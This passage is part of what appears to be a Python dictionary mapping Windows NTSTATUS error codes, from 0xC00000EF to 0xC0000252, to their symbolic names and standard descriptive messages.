0xC00000EF: ("STATUS_INVALID_PARAMETER_1","An invalid parameter was passed to a service or function as the first argument."),
0xC00000F0: ("STATUS_INVALID_PARAMETER_2","An invalid parameter was passed to a service or function as the second argument."),
0xC00000F1: ("STATUS_INVALID_PARAMETER_3","An invalid parameter was passed to a service or function as the third argument."),
0xC00000F2: ("STATUS_INVALID_PARAMETER_4","An invalid parameter was passed to a service or function as the fourth argument."),
0xC00000F3: ("STATUS_INVALID_PARAMETER_5","An invalid parameter was passed to a service or function as the fifth argument."),
0xC00000F4: ("STATUS_INVALID_PARAMETER_6","An invalid parameter was passed to a service or function as the sixth argument."),
0xC00000F5: ("STATUS_INVALID_PARAMETER_7","An invalid parameter was passed to a service or function as the seventh argument."),
0xC00000F6: ("STATUS_INVALID_PARAMETER_8","An invalid parameter was passed to a service or function as the eighth argument."),
0xC00000F7: ("STATUS_INVALID_PARAMETER_9","An invalid parameter was passed to a service or function as the ninth argument."),
0xC00000F8: ("STATUS_INVALID_PARAMETER_10","An invalid parameter was passed to a service or function as the tenth argument."),
0xC00000F9: ("STATUS_INVALID_PARAMETER_11","An invalid parameter was passed to a service or function as the eleventh argument."),
0xC00000FA: ("STATUS_INVALID_PARAMETER_12","An invalid parameter was passed to a service or function as the twelfth argument."),
0xC00000FB: ("STATUS_REDIRECTOR_NOT_STARTED","An attempt was made to access a network file, but the network software was not yet started."),
0xC00000FC: ("STATUS_REDIRECTOR_STARTED","An attempt was made to start the redirector, but the redirector has already been started."),
0xC00000FD: ("STATUS_STACK_OVERFLOW","A new guard page for the stack cannot be created."),
0xC00000FE: ("STATUS_NO_SUCH_PACKAGE","A specified authentication package is unknown."),
0xC00000FF: ("STATUS_BAD_FUNCTION_TABLE","A malformed function table was encountered during an unwind operation."),
0xC0000100: ("STATUS_VARIABLE_NOT_FOUND","Indicates the specified environment variable name was not found in the specified environment block."),
0xC0000101: ("STATUS_DIRECTORY_NOT_EMPTY","Indicates that the directory trying to be deleted is not empty."),
0xC0000102: ("STATUS_FILE_CORRUPT_ERROR","{Corrupt File} The file or directory %hs is corrupt and unreadable. Run the Chkdsk utility."),
0xC0000103: ("STATUS_NOT_A_DIRECTORY","A requested opened file is not a directory."),
0xC0000104: ("STATUS_BAD_LOGON_SESSION_STATE","The logon session is not in a state that is consistent with the requested operation."),
0xC0000105: ("STATUS_LOGON_SESSION_COLLISION","An internal LSA error has occurred. An authentication package has requested the creation of a logon session but the ID of an already existing logon session has been specified."),
0xC0000106: ("STATUS_NAME_TOO_LONG","A specified name string is too long for its intended use."),
0xC0000107: ("STATUS_FILES_OPEN","The user attempted to force close the files on a redirected drive, but there were opened files on the drive, and the user did not specify a sufficient level of force."),
0xC0000108: ("STATUS_CONNECTION_IN_USE","The user attempted to force close the files on a redirected drive, but there were opened directories on the drive, and the user did not specify a sufficient level of force."),
0xC0000109: ("STATUS_MESSAGE_NOT_FOUND","RtlFindMessage could not locate the requested message ID in the message table resource."),
0xC000010A: ("STATUS_PROCESS_IS_TERMINATING","An attempt was made to duplicate an object handle into or out of an exiting process."),
0xC000010B: ("STATUS_INVALID_LOGON_TYPE","Indicates an invalid value has been provided for the LogonType requested."),
0xC000010C: ("STATUS_NO_GUID_TRANSLATION","Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system. This causes the protection attempt to fail, which may cause a file creation attempt to fail."),
0xC000010D: ("STATUS_CANNOT_IMPERSONATE","Indicates that an attempt has been made to impersonate via a named pipe that has not yet been read from."),
0xC000010E: ("STATUS_IMAGE_ALREADY_LOADED","Indicates that the specified image is already loaded."),
0xC0000117: ("STATUS_NO_LDT","Indicates that an attempt was made to change the size of the LDT for a process that has no LDT."),
0xC0000118: ("STATUS_INVALID_LDT_SIZE","Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors."),
0xC0000119: ("STATUS_INVALID_LDT_OFFSET","Indicates that the starting value for the LDT information was not an integral multiple of the selector size."),
0xC000011A: ("STATUS_INVALID_LDT_DESCRIPTOR","Indicates that the user supplied an invalid descriptor when trying to set up LDT descriptors."),
0xC000011B: ("STATUS_INVALID_IMAGE_NE_FORMAT","The specified image file did not have the correct format. It appears to be NE format."),
0xC000011C: ("STATUS_RXACT_INVALID_STATE","Indicates that the transaction state of a registry subtree is incompatible with the requested operation. For example, a request has been made to start a new transaction with one already in progress, or a request has been made to apply a transaction when one is not currently in progress."),
0xC000011D: ("STATUS_RXACT_COMMIT_FAILURE","Indicates an error has occurred during a registry transaction commit. The database has been left in an unknown, but probably inconsistent, state. The state of the registry transaction is left as COMMITTING."),
0xC000011E: ("STATUS_MAPPED_FILE_SIZE_ZERO","An attempt was made to map a file of size zero with the maximum size specified as zero."),
0xC000011F: ("STATUS_TOO_MANY_OPENED_FILES","Too many files are opened on a remote server. This error should only be returned by the Windows redirector on a remote drive."),
0xC0000120: ("STATUS_CANCELLED","The I/O request was canceled."),
0xC0000121: ("STATUS_CANNOT_DELETE","An attempt has been made to remove a file or directory that cannot be deleted."),
0xC0000122: ("STATUS_INVALID_COMPUTER_NAME","Indicates a name that was specified as a remote computer name is syntactically invalid."),
0xC0000123: ("STATUS_FILE_DELETED","An I/O request other than close was performed on a file after it was deleted, which can only happen to a request that did not complete before the last handle was closed via NtClose."),
0xC0000124: ("STATUS_SPECIAL_ACCOUNT","Indicates an operation that is incompatible with built-in accounts has been attempted on a built-in (special) SAM account. For example, built-in accounts cannot be deleted."),
0xC0000125: ("STATUS_SPECIAL_GROUP","The operation requested may not be performed on the specified group because it is a built-in special group."),
0xC0000126: ("STATUS_SPECIAL_USER","The operation requested may not be performed on the specified user because it is a built-in special user."),
0xC0000127: ("STATUS_MEMBERS_PRIMARY_GROUP","Indicates a member cannot be removed from a group because the group is currently the member's primary group."),
0xC0000128: ("STATUS_FILE_CLOSED","An I/O request other than close and several other special case operations was attempted using a file object that had already been closed."),
0xC0000129: ("STATUS_TOO_MANY_THREADS","Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads."),
0xC000012A: ("STATUS_THREAD_NOT_IN_PROCESS","An attempt was made to operate on a thread within a specific process, but the specified thread is not in the specified process."),
0xC000012B: ("STATUS_TOKEN_ALREADY_IN_USE","An attempt was made to establish a token for use as a primary token but the token is already in use. A token can only be the primary token of one process at a time."),
0xC000012C: ("STATUS_PAGEFILE_QUOTA_EXCEEDED","The page file quota was exceeded."),
0xC000012D: ("STATUS_COMMITMENT_LIMIT","{Out of Virtual Memory} Your system is low on virtual memory. To ensure that Windows runs correctly, increase the size of your virtual memory paging file. For more information, see Help."),
0xC000012E: ("STATUS_INVALID_IMAGE_LE_FORMAT","The specified image file did not have the correct format: it appears to be LE format."),
0xC000012F: ("STATUS_INVALID_IMAGE_NOT_MZ","The specified image file did not have the correct format: it did not have an initial MZ."),
0xC0000130: ("STATUS_INVALID_IMAGE_PROTECT","The specified image file did not have the correct format: it did not have a proper e_lfarlc in the MZ header."),
0xC0000131: ("STATUS_INVALID_IMAGE_WIN_16","The specified image file did not have the correct format: it appears to be a 16-bit Windows image."),
0xC0000132: ("STATUS_LOGON_SERVER_CONFLICT","The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role."),
0xC0000133: ("STATUS_TIME_DIFFERENCE_AT_DC","The time at the primary domain controller is different from the time at the backup domain controller or member server by too large an amount."),
0xC0000134: ("STATUS_SYNCHRONIZATION_REQUIRED","The SAM database on a Windows Server is significantly out of synchronization with the copy on the domain controller. A complete synchronization is required."),
0xC0000135: ("STATUS_DLL_NOT_FOUND","{Unable To Locate Component} This application has failed to start because %hs was not found. Reinstalling the application may fix this problem."),
0xC0000136: ("STATUS_OPEN_FAILED","The NtCreateFile API failed. This error should never be returned to an application; it is a place holder for the Windows LAN Manager Redirector to use in its internal error-mapping routines."),
0xC0000137: ("STATUS_IO_PRIVILEGE_FAILED","{Privilege Failed} The I/O permissions for the process could not be changed."),
0xC0000138: ("STATUS_ORDINAL_NOT_FOUND","{Ordinal Not Found} The ordinal %ld could not be located in the dynamic link library %hs."),
0xC0000139: ("STATUS_ENTRYPOINT_NOT_FOUND","{Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs."),
0xC000013A: ("STATUS_CONTROL_C_EXIT","{Application Exit by CTRL+C} The application terminated as a result of a CTRL+C."),
0xC000013B: ("STATUS_LOCAL_DISCONNECT","{Virtual Circuit Closed} The network transport on your computer has closed a network connection. There may or may not be I/O requests outstanding."),
0xC000013C: ("STATUS_REMOTE_DISCONNECT","{Virtual Circuit Closed} The network transport on a remote computer has closed a network connection. There may or may not be I/O requests outstanding."),
0xC000013D: ("STATUS_REMOTE_RESOURCES","{Insufficient Resources on Remote Computer} The remote computer has insufficient resources to complete the network request. For example, the remote computer may not have enough available memory to carry out the request at this time."),
0xC000013E: ("STATUS_LINK_FAILED","{Virtual Circuit Closed} An existing connection (virtual circuit) has been broken at the remote computer. There is probably something wrong with the network software protocol or the network hardware on the remote computer."),
0xC000013F: ("STATUS_LINK_TIMEOUT","{Virtual Circuit Closed} The network transport on your computer has closed a network connection because it had to wait too long for a response from the remote computer."),
0xC0000140: ("STATUS_INVALID_CONNECTION","The connection handle that was given to the transport was invalid."),
0xC0000141: ("STATUS_INVALID_ADDRESS","The address handle that was given to the transport was invalid."),
0xC0000142: ("STATUS_DLL_INIT_FAILED","{DLL Initialization Failed} Initialization of the dynamic link library %hs failed. The process is terminating abnormally."),
0xC0000143: ("STATUS_MISSING_SYSTEMFILE","{Missing System File} The required system file %hs is bad or missing."),
0xC0000144: ("STATUS_UNHANDLED_EXCEPTION","{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx."),
0xC0000145: ("STATUS_APP_INIT_FAILURE","{Application Error} The application failed to initialize properly (0x%lx). Click OK to terminate the application."),
0xC0000146: ("STATUS_PAGEFILE_CREATE_FAILED","{Unable to Create Paging File} The creation of the paging file %hs failed (%lx). The requested size was %ld."),
0xC0000147: ("STATUS_NO_PAGEFILE","{No Paging File Specified} No paging file was specified in the system configuration."),
0xC0000148: ("STATUS_INVALID_LEVEL","{Incorrect System Call Level} An invalid level was passed into the specified system call."),
0xC0000149: ("STATUS_WRONG_PASSWORD_CORE","{Incorrect Password to LAN Manager Server} You specified an incorrect password to a LAN Manager 2.x or MS-NET server."),
0xC000014A: ("STATUS_ILLEGAL_FLOAT_CONTEXT","{EXCEPTION} A real-mode application issued a floating-point instruction and floating-point hardware is not present."),
0xC000014B: ("STATUS_PIPE_BROKEN","The pipe operation has failed because the other end of the pipe has been closed."),
0xC000014C: ("STATUS_REGISTRY_CORRUPT","{The Registry Is Corrupt} The structure of one of the files that contains registry data is corrupt; the image of the file in memory is corrupt; or the file could not be recovered because the alternate copy or log was absent or corrupt."),
0xC000014D: ("STATUS_REGISTRY_IO_FAILED","An I/O operation initiated by the Registry failed and cannot be recovered. The registry could not read in, write out, or flush one of the files that contain the system's image of the registry."),
0xC000014E: ("STATUS_NO_EVENT_PAIR","An event pair synchronization operation was performed using the thread-specific client/server event pair object, but no event pair object was associated with the thread."),
0xC000014F: ("STATUS_UNRECOGNIZED_VOLUME","The volume does not contain a recognized file system. Be sure that all required file system drivers are loaded and that the volume is not corrupt."),
0xC0000150: ("STATUS_SERIAL_NO_DEVICE_INITED","No serial device was successfully initialized. The serial driver will unload."),
0xC0000151: ("STATUS_NO_SUCH_ALIAS","The specified local group does not exist."),
0xC0000152: ("STATUS_MEMBER_NOT_IN_ALIAS","The specified account name is not a member of the group."),
0xC0000153: ("STATUS_MEMBER_IN_ALIAS","The specified account name is already a member of the group."),
0xC0000154: ("STATUS_ALIAS_EXISTS","The specified local group already exists."),
0xC0000155: ("STATUS_LOGON_NOT_GRANTED","A requested type of logon (for example, interactive, network, and service) is not granted by the local security policy of the target system. Ask the system administrator to grant the necessary form of logon."),
0xC0000156: ("STATUS_TOO_MANY_SECRETS","The maximum number of secrets that may be stored in a single system was exceeded. The length and number of secrets is limited to satisfy U.S. State Department export restrictions."),
0xC0000157: ("STATUS_SECRET_TOO_LONG","The length of a secret exceeds the maximum allowable length. The length and number of secrets is limited to satisfy U.S. State Department export restrictions."),
0xC0000158: ("STATUS_INTERNAL_DB_ERROR","The local security authority (LSA) database contains an internal inconsistency."),
0xC0000159: ("STATUS_FULLSCREEN_MODE","The requested operation cannot be performed in full-screen mode."),
0xC000015A: ("STATUS_TOO_MANY_CONTEXT_IDS","During a logon attempt, the user's security context accumulated too many security IDs. This is a very unusual situation. Remove the user from some global or local groups to reduce the number of security IDs to incorporate into the security context."),
0xC000015B: ("STATUS_LOGON_TYPE_NOT_GRANTED","A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network."),
0xC000015C: ("STATUS_NOT_REGISTRY_FILE","The system has attempted to load or restore a file into the registry, and the specified file is not in the format of a registry file."),
0xC000015D: ("STATUS_NT_CROSS_ENCRYPTION_REQUIRED","An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password."),
0xC000015E: ("STATUS_DOMAIN_CTRLR_CONFIG_ERROR","A Windows Server has an incorrect configuration."),
0xC000015F: ("STATUS_FT_MISSING_MEMBER","An attempt was made to explicitly access the secondary copy of information via a device control to the fault tolerance driver and the secondary copy is not present in the system."),
0xC0000160: ("STATUS_ILL_FORMED_SERVICE_ENTRY","A configuration registry node that represents a driver service entry was ill-formed and did not contain the required value entries."),
0xC0000161: ("STATUS_ILLEGAL_CHARACTER","An illegal character was encountered. For a multibyte character set, this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE."),
0xC0000162: ("STATUS_UNMAPPABLE_CHARACTER","No mapping for the Unicode character exists in the target multibyte code page."),
0xC0000163: ("STATUS_UNDEFINED_CHARACTER","The Unicode character is not defined in the Unicode character set that is installed on the system."),
0xC0000164: ("STATUS_FLOPPY_VOLUME","The paging file cannot be created on a floppy disk."),
0xC0000165: ("STATUS_FLOPPY_ID_MARK_NOT_FOUND","{Floppy Disk Error} While accessing a floppy disk, an ID address mark was not found."),
0xC0000166: ("STATUS_FLOPPY_WRONG_CYLINDER","{Floppy Disk Error} While accessing a floppy disk, the track address from the sector ID field was found to be different from the track address that is maintained by the controller."),
0xC0000167: ("STATUS_FLOPPY_UNKNOWN_ERROR","{Floppy Disk Error} The floppy disk controller reported an error that is not recognized by the floppy disk driver."),
0xC0000168: ("STATUS_FLOPPY_BAD_REGISTERS","{Floppy Disk Error} While accessing a floppy-disk, the controller returned inconsistent results via its registers."),
0xC0000169: ("STATUS_DISK_RECALIBRATE_FAILED","{Hard Disk Error} While accessing the hard disk, a recalibrate operation failed, even after retries."),
0xC000016A: ("STATUS_DISK_OPERATION_FAILED","{Hard Disk Error} While accessing the hard disk, a disk operation failed even after retries."),
0xC000016B: ("STATUS_DISK_RESET_FAILED","{Hard Disk Error} While accessing the hard disk, a disk controller reset was needed, but even that failed."),
0xC000016C: ("STATUS_SHARED_IRQ_BUSY","An attempt was made to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened. Two concurrent opens of devices that share an IRQ and only work via interrupts is not supported for the particular bus type that the devices use."),
0xC000016D: ("STATUS_FT_ORPHANING","{FT Orphaning} A disk that is part of a fault-tolerant volume can no longer be accessed."),
0xC000016E: ("STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT","The basic input/output system (BIOS) failed to connect a system interrupt to the device or bus for which the device is connected."),
0xC0000172: ("STATUS_PARTITION_FAILURE","The tape could not be partitioned."),
0xC0000173: ("STATUS_INVALID_BLOCK_LENGTH","When accessing a new tape of a multi-volume partition, the current blocksize is incorrect."),
0xC0000174: ("STATUS_DEVICE_NOT_PARTITIONED","The tape partition information could not be found when loading a tape."),
0xC0000175: ("STATUS_UNABLE_TO_LOCK_MEDIA","An attempt to lock the eject media mechanism failed."),
0xC0000176: ("STATUS_UNABLE_TO_UNLOAD_MEDIA","An attempt to unload media failed."),
0xC0000177: ("STATUS_EOM_OVERFLOW","The physical end of tape was detected."),
0xC0000178: ("STATUS_NO_MEDIA","{No Media} There is no media in the drive. Insert media into drive %hs."),
0xC000017A: ("STATUS_NO_SUCH_MEMBER","A member could not be added to or removed from the local group because the member does not exist."),
0xC000017B: ("STATUS_INVALID_MEMBER","A new member could not be added to a local group because the member has the wrong account type."),
0xC000017C: ("STATUS_KEY_DELETED","An illegal operation was attempted on a registry key that has been marked for deletion."),
0xC000017D: ("STATUS_NO_LOG_SPACE","The system could not allocate the required space in a registry log."),
0xC000017E: ("STATUS_TOO_MANY_SIDS","Too many SIDs have been specified."),
0xC000017F: ("STATUS_LM_CROSS_ENCRYPTION_REQUIRED","An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password."),
0xC0000180: ("STATUS_KEY_HAS_CHILDREN","An attempt was made to create a symbolic link in a registry key that already has subkeys or values."),
0xC0000181: ("STATUS_CHILD_MUST_BE_VOLATILE","An attempt was made to create a stable subkey under a volatile parent key."),
0xC0000182: ("STATUS_DEVICE_CONFIGURATION_ERROR","The I/O device is configured incorrectly or the configuration parameters to the driver are incorrect."),
0xC0000183: ("STATUS_DRIVER_INTERNAL_ERROR","An error was detected between two drivers or within an I/O driver."),
0xC0000184: ("STATUS_INVALID_DEVICE_STATE","The device is not in a valid state to perform this request."),
0xC0000185: ("STATUS_IO_DEVICE_ERROR","The I/O device reported an I/O error."),
0xC0000186: ("STATUS_DEVICE_PROTOCOL_ERROR","A protocol error was detected between the driver and the device."),
0xC0000187: ("STATUS_BACKUP_CONTROLLER","This operation is only allowed for the primary domain controller of the domain."),
0xC0000188: ("STATUS_LOG_FILE_FULL","The log file space is insufficient to support this operation."),
0xC0000189: ("STATUS_TOO_LATE","A write operation was attempted to a volume after it was dismounted."),
0xC000018A: ("STATUS_NO_TRUST_LSA_SECRET","The workstation does not have a trust secret for the primary domain in the local LSA database."),
0xC000018B: ("STATUS_NO_TRUST_SAM_ACCOUNT","The SAM database on the Windows Server does not have a computer account for this workstation trust relationship."),
0xC000018C: ("STATUS_TRUSTED_DOMAIN_FAILURE","The logon request failed because the trust relationship between the primary domain and the trusted domain failed."),
0xC000018D: ("STATUS_TRUSTED_RELATIONSHIP_FAILURE","The logon request failed because the trust relationship between this workstation and the primary domain failed."),
0xC000018E: ("STATUS_EVENTLOG_FILE_CORRUPT","The Eventlog log file is corrupt."),
0xC000018F: ("STATUS_EVENTLOG_CANT_START","No Eventlog log file could be opened. The Eventlog service did not start."),
0xC0000190: ("STATUS_TRUST_FAILURE","The network logon failed. This may be because the validation authority cannot be reached."),
0xC0000191: ("STATUS_MUTANT_LIMIT_EXCEEDED","An attempt was made to acquire a mutant such that its maximum count would have been exceeded."),
0xC0000192: ("STATUS_NETLOGON_NOT_STARTED","An attempt was made to logon, but the NetLogon service was not started."),
0xC0000193: ("STATUS_ACCOUNT_EXPIRED","The user account has expired."),
0xC0000194: ("STATUS_POSSIBLE_DEADLOCK","{EXCEPTION} Possible deadlock condition."),
0xC0000195: ("STATUS_NETWORK_CREDENTIAL_CONFLICT","Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again."),
0xC0000196: ("STATUS_REMOTE_SESSION_LIMIT","An attempt was made to establish a session to a network server, but there are already too many sessions established to that server."),
0xC0000197: ("STATUS_EVENTLOG_FILE_CHANGED","The log file has changed between reads."),
0xC0000198: ("STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT","The account used is an interdomain trust account. Use your global user account or local user account to access this server."),
0xC0000199: ("STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT","The account used is a computer account. Use your global user account or local user account to access this server."),
0xC000019A: ("STATUS_NOLOGON_SERVER_TRUST_ACCOUNT","The account used is a server trust account. Use your global user account or local user account to access this server."),
0xC000019B: ("STATUS_DOMAIN_TRUST_INCONSISTENT","The name or SID of the specified domain is inconsistent with the trust information for that domain."),
0xC000019C: ("STATUS_FS_DRIVER_REQUIRED","A volume has been accessed for which a file system driver is required that has not yet been loaded."),
0xC000019D: ("STATUS_IMAGE_ALREADY_LOADED_AS_DLL","Indicates that the specified image is already loaded as a DLL."),
0xC000019E: ("STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING","Short name settings may not be changed on this volume due to the global registry setting."),
0xC000019F: ("STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME","Short names are not enabled on this volume."),
0xC00001A0: ("STATUS_SECURITY_STREAM_IS_INCONSISTENT","The security stream for the given volume is in an inconsistent state. Please run CHKDSK on the volume."),
0xC00001A1: ("STATUS_INVALID_LOCK_RANGE","A requested file lock operation cannot be processed due to an invalid byte range."),
0xC00001A2: ("STATUS_INVALID_ACE_CONDITION","The specified access control entry (ACE) contains an invalid condition."),
0xC00001A3: ("STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT","The subsystem needed to support the image type is not present."),
0xC00001A4: ("STATUS_NOTIFICATION_GUID_ALREADY_DEFINED","The specified file already has a notification GUID associated with it."),
0xC0000201: ("STATUS_NETWORK_OPEN_RESTRICTION","A remote open failed because the network open restrictions were not satisfied."),
0xC0000202: ("STATUS_NO_USER_SESSION_KEY","There is no user session key for the specified logon session."),
0xC0000203: ("STATUS_USER_SESSION_DELETED","The remote user session has been deleted."),
0xC0000204: ("STATUS_RESOURCE_LANG_NOT_FOUND","Indicates the specified resource language ID cannot be found in the image file."),
0xC0000205: ("STATUS_INSUFF_SERVER_RESOURCES","Insufficient server resources exist to complete the request."),
0xC0000206: ("STATUS_INVALID_BUFFER_SIZE","The size of the buffer is invalid for the specified operation."),
0xC0000207: ("STATUS_INVALID_ADDRESS_COMPONENT","The transport rejected the specified network address as invalid."),
0xC0000208: ("STATUS_INVALID_ADDRESS_WILDCARD","The transport rejected the specified network address due to invalid use of a wildcard."),
0xC0000209: ("STATUS_TOO_MANY_ADDRESSES","The transport address could not be opened because all the available addresses are in use."),
0xC000020A: ("STATUS_ADDRESS_ALREADY_EXISTS","The transport address could not be opened because it already exists."),
0xC000020B: ("STATUS_ADDRESS_CLOSED","The transport address is now closed."),
0xC000020C: ("STATUS_CONNECTION_DISCONNECTED","The transport connection is now disconnected."),
0xC000020D: ("STATUS_CONNECTION_RESET","The transport connection has been reset."),
0xC000020E: ("STATUS_TOO_MANY_NODES","The transport cannot dynamically acquire any more nodes."),
0xC000020F: ("STATUS_TRANSACTION_ABORTED","The transport aborted a pending transaction."),
0xC0000210: ("STATUS_TRANSACTION_TIMED_OUT","The transport timed out a request that is waiting for a response."),
0xC0000211: ("STATUS_TRANSACTION_NO_RELEASE","The transport did not receive a release for a pending response."),
0xC0000212: ("STATUS_TRANSACTION_NO_MATCH","The transport did not find a transaction that matches the specific token."),
0xC0000213: ("STATUS_TRANSACTION_RESPONDED","The transport had previously responded to a transaction request."),
0xC0000214: ("STATUS_TRANSACTION_INVALID_ID","The transport does not recognize the specified transaction request ID."),
0xC0000215: ("STATUS_TRANSACTION_INVALID_TYPE","The transport does not recognize the specified transaction request type."),
0xC0000216: ("STATUS_NOT_SERVER_SESSION","The transport can only process the specified request on the server side of a session."),
0xC0000217: ("STATUS_NOT_CLIENT_SESSION","The transport can only process the specified request on the client side of a session."),
0xC0000218: ("STATUS_CANNOT_LOAD_REGISTRY_FILE","{Registry File Failure} The registry cannot load the hive (file): %hs or its log or alternate. It is corrupt, absent, or not writable."),
0xC0000219: ("STATUS_DEBUG_ATTACH_FAILED","{Unexpected Failure in DebugActiveProcess} An unexpected failure occurred while processing a DebugActiveProcess API request. You may choose OK to terminate the process, or Cancel to ignore the error."),
0xC000021A: ("STATUS_SYSTEM_PROCESS_TERMINATED","{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down."),
0xC000021B: ("STATUS_DATA_NOT_ACCEPTED","{Data Not Accepted} The TDI client could not handle the data received during an indication."),
0xC000021C: ("STATUS_NO_BROWSER_SERVERS_FOUND","{Unable to Retrieve Browser Server List} The list of servers for this workgroup is not currently available."),
0xC000021D: ("STATUS_VDM_HARD_ERROR","NTVDM encountered a hard error."),
0xC000021E: ("STATUS_DRIVER_CANCEL_TIMEOUT","{Cancel Timeout} The driver %hs failed to complete a canceled I/O request in the allotted time."),
0xC000021F: ("STATUS_REPLY_MESSAGE_MISMATCH","{Reply Message Mismatch} An attempt was made to reply to an LPC message, but the thread specified by the client ID in the message was not waiting on that message."),
0xC0000220: ("STATUS_MAPPED_ALIGNMENT","{Mapped View Alignment Incorrect} An attempt was made to map a view of a file, but either the specified base address or the offset into the file were not aligned on the proper allocation granularity."),
0xC0000221: ("STATUS_IMAGE_CHECKSUM_MISMATCH","{Bad Image Checksum} The image %hs is possibly corrupt. The header checksum does not match the computed checksum."),
0xC0000222: ("STATUS_LOST_WRITEBEHIND_DATA","{Delayed Write Failed} Windows was unable to save all the data for the file %hs. The data has been lost. This error may be caused by a failure of your computer hardware or network connection. Try to save this file elsewhere."),
0xC0000223: ("STATUS_CLIENT_SERVER_PARAMETERS_INVALID","The parameters passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window."),
0xC0000224: ("STATUS_PASSWORD_MUST_CHANGE","The user password must be changed before logging on the first time."),
0xC0000225: ("STATUS_NOT_FOUND","The object was not found."),
0xC0000226: ("STATUS_NOT_TINY_STREAM","The stream is not a tiny stream."),
0xC0000227: ("STATUS_RECOVERY_FAILURE","A transaction recovery failed."),
0xC0000228: ("STATUS_STACK_OVERFLOW_READ","The request must be handled by the stack overflow code."),
0xC0000229: ("STATUS_FAIL_CHECK","A consistency check failed."),
0xC000022A: ("STATUS_DUPLICATE_OBJECTID","The attempt to insert the ID in the index failed because the ID is already in the index."),
0xC000022B: ("STATUS_OBJECTID_EXISTS","The attempt to set the object ID failed because the object already has an ID."),
0xC000022C: ("STATUS_CONVERT_TO_LARGE","Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing oNode is moved or the extent stream is converted to a large stream."),
0xC000022D: ("STATUS_RETRY","The request needs to be retried."),
0xC000022E: ("STATUS_FOUND_OUT_OF_SCOPE","The attempt to find the object found an object on the volume that matches by ID; however, it is out of the scope of the handle that is used for the operation."),
0xC000022F: ("STATUS_ALLOCATE_BUCKET","The bucket array must be grown. Retry the transaction after doing so."),
0xC0000230: ("STATUS_PROPSET_NOT_FOUND","The specified property set does not exist on the object."),
0xC0000231: ("STATUS_MARSHALL_OVERFLOW","The user/kernel marshaling buffer has overflowed."),
0xC0000232: ("STATUS_INVALID_VARIANT","The supplied variant structure contains invalid data."),
0xC0000233: ("STATUS_DOMAIN_CONTROLLER_NOT_FOUND","A domain controller for this domain was not found."),
0xC0000234: ("STATUS_ACCOUNT_LOCKED_OUT","The user account has been automatically locked because too many invalid logon attempts or password change attempts have been requested."),
0xC0000235: ("STATUS_HANDLE_NOT_CLOSABLE","NtClose was called on a handle that was protected from close via NtSetInformationObject."),
0xC0000236: ("STATUS_CONNECTION_REFUSED","The transport-connection attempt was refused by the remote system."),
0xC0000237: ("STATUS_GRACEFUL_DISCONNECT","The transport connection was gracefully closed."),
0xC0000238: ("STATUS_ADDRESS_ALREADY_ASSOCIATED","The transport endpoint already has an address associated with it."),
0xC0000239: ("STATUS_ADDRESS_NOT_ASSOCIATED","An address has not yet been associated with the transport endpoint."),
0xC000023A: ("STATUS_CONNECTION_INVALID","An operation was attempted on a nonexistent transport connection."),
0xC000023B: ("STATUS_CONNECTION_ACTIVE","An invalid operation was attempted on an active transport connection."),
0xC000023C: ("STATUS_NETWORK_UNREACHABLE","The remote network is not reachable by the transport."),
0xC000023D: ("STATUS_HOST_UNREACHABLE","The remote system is not reachable by the transport."),
0xC000023E: ("STATUS_PROTOCOL_UNREACHABLE","The remote system does not support the transport protocol."),
0xC000023F: ("STATUS_PORT_UNREACHABLE","No service is operating at the destination port of the transport on the remote system."),
0xC0000240: ("STATUS_REQUEST_ABORTED","The request was aborted."),
0xC0000241: ("STATUS_CONNECTION_ABORTED","The transport connection was aborted by the local system."),
0xC0000242: ("STATUS_BAD_COMPRESSION_BUFFER","The specified buffer contains ill-formed data."),
0xC0000243: ("STATUS_USER_MAPPED_FILE","The requested operation cannot be performed on a file with a user mapped section open."),
0xC0000244: ("STATUS_AUDIT_FAILED","{Audit Failed} An attempt to generate a security audit failed."),
0xC0000245: ("STATUS_TIMER_RESOLUTION_NOT_SET","The timer resolution was not previously set by the current process."),
0xC0000246: ("STATUS_CONNECTION_COUNT_LIMIT","A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached."),
0xC0000247: ("STATUS_LOGIN_TIME_RESTRICTION","Attempting to log on during an unauthorized time of day for this account."),
0xC0000248: ("STATUS_LOGIN_WKSTA_RESTRICTION","The account is not authorized to log on from this station."),
0xC0000249: ("STATUS_IMAGE_MP_UP_MISMATCH","{UP/MP Image Mismatch} The image %hs has been modified for use on a uniprocessor system, but you are running it on a multiprocessor machine. Reinstall the image file."),
0xC0000250: ("STATUS_INSUFFICIENT_LOGON_INFO","There is insufficient account information to log you on."),
0xC0000251: ("STATUS_BAD_DLL_ENTRYPOINT","{Invalid DLL Entrypoint} The dynamic link library %hs is not written correctly. The stack pointer has been left in an inconsistent state. The entry point should be declared as WINAPI or STDCALL. Select YES to fail the DLL load. Select NO to continue execution. Selecting NO may cause the application to operate incorrectly."),
0xC0000252: ("STATUS_BAD_SERVICE_ENTRYPOINT","{Invalid Service Callback Entrypoint} The %hs service is not written correctly. The stack pointer has been left in an inconsistent state. The callback entry point should be declared as WINAPI or STDCALL. Selecting OK will cause the service to continue operation. However, the service process may operate incorrectly."),
